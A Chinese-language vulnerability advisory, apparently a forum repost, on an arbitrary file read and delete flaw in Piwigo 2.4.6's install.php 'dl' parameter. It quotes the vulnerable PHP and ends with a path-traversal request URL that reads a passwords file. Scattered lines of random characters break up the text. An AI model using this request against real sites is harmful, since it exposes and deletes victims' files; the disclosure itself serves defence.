Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
3 E- H* F1 }# J- F) }
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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9 D7 ]; p* l0 ]/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
# `" Y6 `6 \4 N7 u; w- M! J118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
5 L4 d2 U' M8 ^; k( @2 }. p! S120:   header('Content-Length: '.filesize($filename));
/ [# T3 x3 W  ^5 f+ J) y121:   echo file_get_contents($filename);
1 a9 X3 @+ b6 P: ~122:   unlink($filename);
" h: Y1 j, f" D6 n  i, }, S123:   exit();
124: }
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
0 n" A9 s7 g7 c. w8 c- a& f           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
' t! v4 m# f0 `0 q, T                            @zeroscience
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Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
! W- [/ w1 `" WVendor Patch: http://piwigo.org/bugs/view.php?id=2843
& ~! \; S9 _2 _3 C- h: M% A
! ?% Y6 a5 X9 q$ {! [15.02.2013

9 ^7 w% y) f, s" i3 M% w--
, A1 W, S$ `- _8 B( ?. w! J5 Lhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
5 J  ]' L& S* W